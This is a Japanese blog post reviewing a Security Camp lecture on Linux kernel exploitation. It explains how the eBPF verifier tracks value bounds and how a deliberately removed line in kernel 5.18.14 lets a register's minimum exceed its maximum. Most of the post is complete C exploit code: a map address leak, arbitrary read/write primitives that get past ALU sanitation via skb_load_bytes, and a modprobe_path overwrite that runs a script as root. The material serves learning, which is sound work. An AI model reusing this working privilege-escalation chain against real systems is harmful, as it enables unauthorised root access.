セキュリティキャンプ講義の復習
Advenced Linux Kernel Exploit
この講義ではeBPFの脆弱性をついたKernel Exploit手法を紹介していただいた。ハンズオンだけで6時間だったわけではないので非常に時間が短く、理解が曖昧なままな箇所がけっこうあるので復習ついでに書いていく。
本講義は計6時間で、
という流れで攻撃手法を学んだ。
BPFについて
BPFは以下のような構造になっている。 ユーザプログラム内でBPFコードを定義し、それをBPFコードとして登録する。すると検証器がBPFコードを精査して型チェック等を行う。型違反があるとここで突っ返されて、プログラムが止まる。無事検証を通過すると、BPFコードがJIT(just in Time)で機械語に変換され、その後はイベント発生時に実行される。BPFプログラムはBPFマップといわれる領域を通してユーザ空間と値のやり取りをする。
eBPFはBPFの命令セットを64bitに拡張し、パケットやシステムコールフィルタ以外の用途に拡張したもの。
BPFのレジスタ
BPFでは10個の汎用レジスタと1個のフレームポインタがある。
レジスタ | 特殊な用途 | 別名 |
---|---|---|
R0 | 戻り値 | - |
R1 | 第一引数、コンテキストのポインタ | ARG1 |
R2 | 第二引数 | ARG2 |
R3 | 第三引数 | ARG3 |
R4 | 第四引数 | ARG4 |
R5 | 第五引数 | ARG5 |
R6~R9 | - | - |
r10 | フレームポインタ | FP |
BPFのスタック
BPFではプログラムごとにスタックが用意されていて、FPがスタックの最高位アドレスを指している(x86_64でいうrbp)。サイズは512byte固定。8バイトにalignされたアドレスのみに読み書きができる。
コンテキスト
イベントの発生源がBPFプログラムにイベント情報を渡すためのもの。構造体形式になっていて、イベントの情報が格納されている。BPFプログラム開始時にR1レジスタにコンテキストへのポインタが渡される。
BPFマップ
BPFプログラムとユーザプログラムがやり取りするための領域。ユーザ側から任意のキー・データ長さ(要素のサイズ・要素数)でマップ(配列)を作成できる。
ここで気を付けるポイントが、BPFスタックにはポインタを書き込めるが、mapにはポインタを書き込めない仕様になっている。具体的には検証器に弾かれるようになっている(つまり検証器をだませれば書き込める、というのがミソ)。BPFマップ自体のポインタはヘルパー関数を使ってmapfdから取得する。
ヘルパー関数
docs
自分の認識ではatomicに処理すべき部分などがまとめられている。本講義で使った関数を紹介↓
map系
map_lookup_elem
:BPFマップの要素へのポインタを取得
map_update_elem
:BPFマップの要素の値を更新ソケットフィルタ
skb_laod_bytes
:コンテキストからパケットデータを取得
skb_store_bytes
:コンテキストからパケットデータを変更
※BPFでのコーディング
通常BPFプログラミングをするときはbcc(BPF Compiler Collection)を使うらしいが、Exploitではアセンブリレベルで書く必要がある。
そのため以下のマクロを利用して書いていく。
bpf_insn.h
eBPFの検証器
eBPFではカーネル内でコードを実行するにあたって、ユーザが危険なコードを書いていないかチェックする。検証は2段階にわたって行われ、
- ループが存在しないか (ソースコード)
- unsound behavior(正しく動作しない可能性が少しでもある状態)が存在しないか (ソースコード)
- 未初期化レジスタの利用
- BPFマップへの範囲外書き込み
- ポインタ書き込みなど
を確認する。
また、すべてのレジスタ・スタックの値について、
- 型情報
- 取りうる値の範囲
smin_value
/smax_value
: 符号付き64bit整数の最小・最大値
umin_value
/umax_value
: 符号なし64bit整数の最小・最大値
s32_min_value
/s32_max_value
: 符号付き32bit整数の最小・最大値
u32_min_value
/u32_max_value
: 符号なし32bit整数の最小・最大値 - 各bitが断定できるか
を1命令ごとに追跡している。加えて、値がスカラなのかポインタなのかも追跡している。
スカラ値はbitごとに可能な限り追跡され、以下のように表示される。
var_off(value; mask)
- value: 判明しているbit
- mask: 不明なbit部分が1になる
例)
var_off(0xdeadbeef; 0x0) = 定数0xdeadbeef
var_off(0xde00be00; 0x00ff00ff) = 0xde??be??
ポインタの場合はポインタの種類、加算されたオフセット、ポインタの指すデータサイズなども保持する。
脆弱性の解析
本講義で使っているカーネルはLinux kernel 5.18.14だが、kernel/bpf/verifier.cの7957行目の関数呼び出しが消されたものが配布されている。(昔本当にあったバグの再現らしい)
この一行がないとどういうバグが発生するのかを確認する。
まずverifier.cはeBPFの検証器を実装している部分である。その中のscalar32_min_max_or
関数はadjust_scalar_min_max_vals
関数から呼ばれていて、これはALU演算前後に取りうる値の範囲を追跡する処理だ。scalar32_min_max_or
はOR演算時に呼ばれる(ソースコード)。また、その後にscalar_min_max_or
が呼ばれる。
ここで、dst_reg
はtnum_or
でvalueとmaskのor演算結果が格納される。ちなみにdst_reg
とsrc_reg
はtnum
構造体で、以下のようになってる。
これでscalar32_min_max_or
に渡された引数がわかった。では、削除された部分を含むif文の条件を見てみよう。src_known
とdst_known
はtnum_subreg_is_const
の戻り値である。tnum_subreg_is_const
はここで定義されていて、コメントを見ると「下位32bitが定数であればtrueを返す」らしい。つまりソースレジスタとデスティネーションレジスタの両方の下位32bitが定数であれば、if文内に入ることになる。
mark_reg32_known
では以下のようにvar_off
と、取りうる最大値・最小値が更新される。(定数であるということは定数値=最小値=最大値なので)
ここで、mark_reg32_known
が終わるとreturnされて、次にscalar_min_max_or
(ソース)が呼ばれる。この関数ではscalar32_min_max_or
と同じような動作をするが、64bitで判断している。つまり、下位32bitが定数でも上位32bitに不定な値があった場合はif文に入らない。if文に入らなかった場合、この関数の最後には__update_reg_bounds
が呼ばれている。
さらにその中でupdate_reg32_bounds
(ソース)が呼ばれるが、ここに注目してほしい。
下位32bitが定数でも上位32bitに不定な値があった場合はここにたどり着くわけだが、本講義で使ってるカーネルでは最初に説明した通り__mark_reg32_known
が呼ばれない。つまり、reg->var_off
やreg->s32_min_value
などは更新されていないのにも関わらず、__update_reg32_bounds
内で使用されているのだ。
ここではu32の処理の方に注目する。以降デスティネーションレジスタとソースレジスタの下位32bitをRdst
、Rsrc
とあらわす。
u32_min_value
とu32_max_value
は更新されていないのでRdst
であり、var_32_off.mask
は定数なので0
である。また、var32_off.value
はここで定義されているので、Rdst | Rsrc
である。よって、ここまでをまとめると次のようになる。
u32_min_value = max(Rdst, Rdst|Rsrc)
u32_max_value = min(Rdst, Rdst|Rsrc)
ここでRdst = 0
、Rsrc = 1
とすると、
u32_min_value = 1
u32_max_value = 0
というおかしな状況を作れる(Rdst < Rdst|Rsrc
を満たすとこのバグが発生する)。
実装はこんな感じになる。不定な値はmapから値を取得することで作れる。それを上位32bitに移動させてから定数1
とORすることでバグが生まれる。
実行結果の一部がこちら(なぜかs32の方だけになっているが...)
アドレスリーク
ポインタ+スカラ演算に関してはadjust_min_max_vals
に書いてある。(ソース)
if文を見ると、min > maxなスカラーの場合、__mark_reg_unknown
が呼ばれるとわかる。
reg->var_off = tnum_unknow
からRdstは中身不明のスカラとして扱われる。つまり、min > maxなスカラーを加算すればポインタではなくなるため、BPFマップに書き込めるようになる。
これをmap_update_elem
でマップに書き込んで、ユーザ側からmap_look_up
でリークできる。以下のように実装することででマップのアドレスをリークできる。
#include <linux/bpf.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include "../bpf_insn.h" void fatal(const char *msg) { perror(msg); exit(1); } int bpf(int cmd, union bpf_attr *attrs) { return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); } int map_create(int val_size, int max_entries) { union bpf_attr attr = { .map_type = BPF_MAP_TYPE_ARRAY, .key_size = sizeof(int), .value_size = val_size, .max_entries = max_entries }; int mapfd = bpf(BPF_MAP_CREATE, &attr); if (mapfd == -1) fatal("bpf(BPF_MAP_CREATE)"); return mapfd; } int map_update(int mapfd, int key, void *pval) { union bpf_attr attr = { .map_fd = mapfd, .key = (uint64_t)&key, .value = (uint64_t)pval, .flags = BPF_ANY }; int res = bpf(BPF_MAP_UPDATE_ELEM, &attr); if (res == -1) fatal("bpf(BPF_MAP_UPDATE_ELEM)"); return res; } int map_lookup(int mapfd, int key, void *pval) { union bpf_attr attr = { .map_fd = mapfd, .key = (uint64_t)&key, .value = (uint64_t)pval, .flags = BPF_ANY }; return bpf(BPF_MAP_LOOKUP_ELEM, &attr); // -1 if not found } unsigned long leak_map_address(int mapfd) { char verifier_log[0x10000]; unsigned long val; /* BPFプログラム */ struct bpf_insn insns[] = { // key = 0 BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // R0 = map_lookup_elem(mapfd, &key) BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08), BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // if (!R0) exit() BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), // R1: var_off=(0; 0xffffffffffffffff) BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0), // R1: var_off=(0; 0xffffffff00000000) BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32), BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32), // R2: var_off=(1; 0) BPF_MOV64_IMM(BPF_REG_2, 1), // R1: min=1,max=0 BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2), // 64bitに拡張 BPF_MOV32_REG(BPF_REG_1, BPF_REG_1), // &map[0]ポインタをスカラーと認識させる BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1), // &map[0]+1のリーク BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10), // map_update_elem(mapfd, &key, &val, 0) BPF_MOV32_IMM(BPF_REG_ARG4, 0), BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10), BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08), BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), BPF_EMIT_CALL(BPF_FUNC_map_update_elem), BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0 BPF_EXIT_INSN(), }; /* ソケット用に設定 */ union bpf_attr prog_attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = sizeof(insns) / sizeof(insns[0]), .insns = (uint64_t)insns, .license = (uint64_t)"GPL v2", .log_level = 2, .log_size = sizeof(verifier_log), .log_buf = (uint64_t)verifier_log }; /* BPFプログラムをロード */ int progfd = bpf(BPF_PROG_LOAD, &prog_attr); puts(verifier_log); if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)"); /* ソケットを作成 */ int socks[2]; if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) fatal("socketpair"); if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) fatal("setsockopt"); /* ソケットを利用(BPFプログラムの発動) */ write(socks[1], "AAAABBBBCCCCDDDD", 16); /* リークしたポインタを取得 */ map_lookup(mapfd, 0, &val); return val - 1; } int main() { int mapfd = map_create(8, 1); unsigned long val = 1; map_update(mapfd, 0, &val); unsigned long addr_map = leak_map_address(mapfd); printf("[+] addr_map = 0x%016lx\n", addr_map); getchar(); return 0; }
実行すると以下のような出力になる。
このアドレス周辺をgdbでダンプする。見てみるとkernel baseをリークできそうな値が0xffff888003247201
に存在する。
今回の本質ではない気がするのでさっと説明を書くが、これはstruct bpf_array
らしい。mapフィールドの値は固定なので、0x1c124を減算すればkernel baseを求められる。
AAW/AARを作る
BPFではポインタ+スカラの演算結果が明らかに使用可能範囲外の場合、検証器に止められてしまう。しかし、min=1, max=0
で本当は1
が入っている値X
と、min=0
, max=1
で本当は1が入っている値Yを加算すると、検証器はmin=1+0=1
, max=0+1=1
で、定数1
だと判断するが本当は2
が入っている値Z
を作れる。つまり(Z-1)
は検証器は定数0
だと判断する。ここで変数val
と、任意の値offset
で、
val += (Z-1)*offset
という計算をすることで、検証器には値の変化がないように見せつつ任意の値をval
に入れることができる。
min=0, max=1
の作り方だが、ユーザ側からマップに1
を入れて置き、BPFでそれ読み出してAND 1
をとれば作れる。
ALU sanitation
Spectreへの対策として追加されたmitigationでuser権限で実行すると有効になる。(どうしてSpectre対策になるのかはよく分からん)
ALUのBPF_ADDに対してパッチが当たっているらしく(ソース)、
BPF_ALU64_REG(BPF_ADD, REG_PTR, REG_SCALAR)
上記のようなとき、REG_SCALAR
が定数だった場合、
BPF_MOV32_IMM(BPF_REG_AX, 定数), BPF_ALU64_REG(BPF_ADD, REG_PTR, REG_AX)
に置き換わる。つまりせっかく作ったZ
が使われずに終わってしまう。ここで、ヘルパー関数skb_load_bytes
を使う。パッチが当たっているのはあくまでBPF_ADD
のALU命令だけなので、これを使うことで2022年現在はbypassできる。skb_load_bytes
はコンテキストからパケットデータを取得する関数で、第4引数に受け取るサイズを指定できる。ここでZ
を使って(Z-1)*preffer_value
とすることで任意のサイズを指定できる。これを使ってstack BOFをする。具体的にはあらかじめmapのポインタをstackに書き込んでおき、そこをoverflowでAAW/AAR対象となるアドレスで上書きする。すると検証器としては、もともとそこは有効なアドレスであり、書き換えられていないつもりになっているので、書き込んだアドレスを読みだして普通に使えばAAW/AARができる。
これを実装すると以下のようになる。
unsigned long aaw64(int mapfd, unsigned long addr, unsigned long value) { char verifier_log[0x10000]; unsigned long val = 1; map_update(mapfd, 0, &val); /* BPFプログラム */ struct bpf_insn insns[] = { BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x18), // key = 0 BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x20, 0), // R0 = map_lookup_elem(mapfd, &key) BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20), BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // if (!R0) exit() BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), // R1: var_off=(0; 0xffffffffffffffff) BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0), BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 0), // R1: var_off=(0; 0xffffffff00000000) BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32), BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32), // R2: var_off=(1; 0) BPF_MOV64_IMM(BPF_REG_2, 1), // R1: min=1,max=0 BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2), BPF_MOV32_REG(BPF_REG_1, BPF_REG_1), // BPF_REG_1 += map[0]&1 BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 1), BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3), // BPF_REG_1 -= 1 BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1), // R1: 推測値=8 / 実際値=0x10 BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0x8), // *(FP-0x08) = &map[0] // FP-0x08にポインタを代入 BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x08), // skb_load_bytes(ctx, 0, FP-0x10, R1) BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x10), BPF_MOV64_IMM(BPF_REG_ARG2, 0), BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x18), BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes), // *addr = value BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_FP, -0x08), BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_FP, -0x10), BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0), BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0 BPF_EXIT_INSN(), }; /* ソケット用に設定 */ union bpf_attr prog_attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = sizeof(insns) / sizeof(insns[0]), .insns = (uint64_t)insns, .license = (uint64_t)"GPL v2", .log_level = 2, .log_size = sizeof(verifier_log), .log_buf = (uint64_t)verifier_log }; /* BPFプログラムをロード */ int progfd = bpf(BPF_PROG_LOAD, &prog_attr); puts(verifier_log); if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)"); /* ソケットを作成 */ int socks[2]; if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) fatal("socketpair"); if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) fatal("setsockopt"); /* ソケットを利用(BPFプログラムの発動) */ unsigned long buf[2]; buf[0] = value; buf[1] = addr; write(socks[1], buf, 16); } unsigned long aar64(int mapfd, unsigned long addr) { char verifier_log[0x10000]; unsigned long val; /* BPFプログラム */ struct bpf_insn insns[] = { BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x18), // key = 0 BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x20, 0), // R0 = map_lookup_elem(mapfd, &key) BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20), BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // if (!R0) exit() BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), // R1: var_off=(0; 0xffffffffffffffff) BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0), BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 0), // R1: var_off=(0; 0xffffffff00000000) BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32), BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32), // R2: var_off=(1; 0) BPF_MOV64_IMM(BPF_REG_2, 1), // R1: min=1,max=0 BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2), BPF_MOV32_REG(BPF_REG_1, BPF_REG_1), BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 1), BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3), BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1), // R1: 推測値=8 / 実際値=0x10 BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0x8), // *(FP-0x08) = &map[0] // FP-0x08をポインタを代入 BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x08), // skb_load_bytes(ctx, 0, FP-0x10, R1) BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x10), BPF_MOV64_IMM(BPF_REG_ARG2, 0), BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x18), BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes), // *(FP-0x10) = *addr BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_FP, -0x08), BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, 0), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_2, -0x10), // map_update_elem(mapfd, &key, &val, 0) BPF_MOV32_IMM(BPF_REG_ARG4, 0), BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10), BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20), BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), BPF_EMIT_CALL(BPF_FUNC_map_update_elem), BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0 BPF_EXIT_INSN(), }; /* ソケット用に設定 */ union bpf_attr prog_attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = sizeof(insns) / sizeof(insns[0]), .insns = (uint64_t)insns, .license = (uint64_t)"GPL v2", .log_level = 2, .log_size = sizeof(verifier_log), .log_buf = (uint64_t)verifier_log }; /* BPFプログラムをロード */ int progfd = bpf(BPF_PROG_LOAD, &prog_attr); puts(verifier_log); if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)"); /* ソケットを作成 */ int socks[2]; if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) fatal("socketpair"); if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) fatal("setsockopt"); /* ソケットを利用(BPFプログラムの発動) */ unsigned long buf[2]; buf[0] = 0x4141414142424242; buf[1] = addr; write(socks[1], buf, 16); map_lookup(mapfd, 0, &val); return val; }
権限昇格
講義ではmodprobe_pathの書き換えを使って権限昇格を行った。LinuxにはELFやshebangなどの実行形式があるが、それ以外の不明な気式が実行されるとmodprobe_path
に書いてあるパスのスクリプトが実行される。デフォルトでは/sbin/modprobe
になっている。これをAAWで/tmp/x
に書き換え、/tmp/x
にroot権限で実行したい処理を書いておけば任意のコマンドが実行できる。kernel baseのリークを含めて、main
関数を以下のように定義すれば、root権限での実行ができる。
int main() { int mapfd = map_create(8, 1); unsigned long val = 1; map_update(mapfd, 0, &val); unsigned long addr_map = leak_map_address(mapfd); printf("[+] addr_map = 0x%016lx\n", addr_map); val = aar64(mapfd, addr_map); printf("[+] value_map = 0x%016lx\n", val); val = aar64(mapfd, addr_map-0x110); printf("[+] value_addr_ops = 0x%016lx\n", val); unsigned long kbase = val - 0xc124a0; printf("[+] kbase = 0x%016lx\n", kbase); //modprobe書き換え unsigned long modprobe_addr = kbase + 0xe37fe0; //aaw64(mapfd, modprobe_addr, 0x2f746d702f78); aaw64(mapfd, modprobe_addr, 0x782f706d742f); //権限昇格 //実行スクリプトの用意 system("echo -e '#!/bin/sh\necho PWNED > /PWNED.txt' > /tmp/x"); chmod("/tmp/x", 0777); //形式不明の実行ファイル用意 system("echo -e '\xde\xea\xbe\xef' > /tmp/pwn"); chmod("/tmp/pwn", 0777); system("/tmp/pwn"); getchar(); return 0; }
ユーザ権限で実行すると以下のようにオーナーがrootのPWNED.txtが作られているのがわかる。
感想
今まではユーザランドの攻撃のみCTFでやってきたので、seccampで初めてカーネルランドの攻撃をやった。普通のkernel exploitだけでもすごい楽しかったし、いい経験になったが、さらにeBPFの攻撃手法の一例を学べたのは本当に良かったなあと思う。yudai先生曰く検証器をだます手法はBrowserとかにも使えるそうなので、そのうち勉強してみたいなあと思っている。
ということで、
「C2C3講義完全理解した! #seccamp」
ありがとうございました!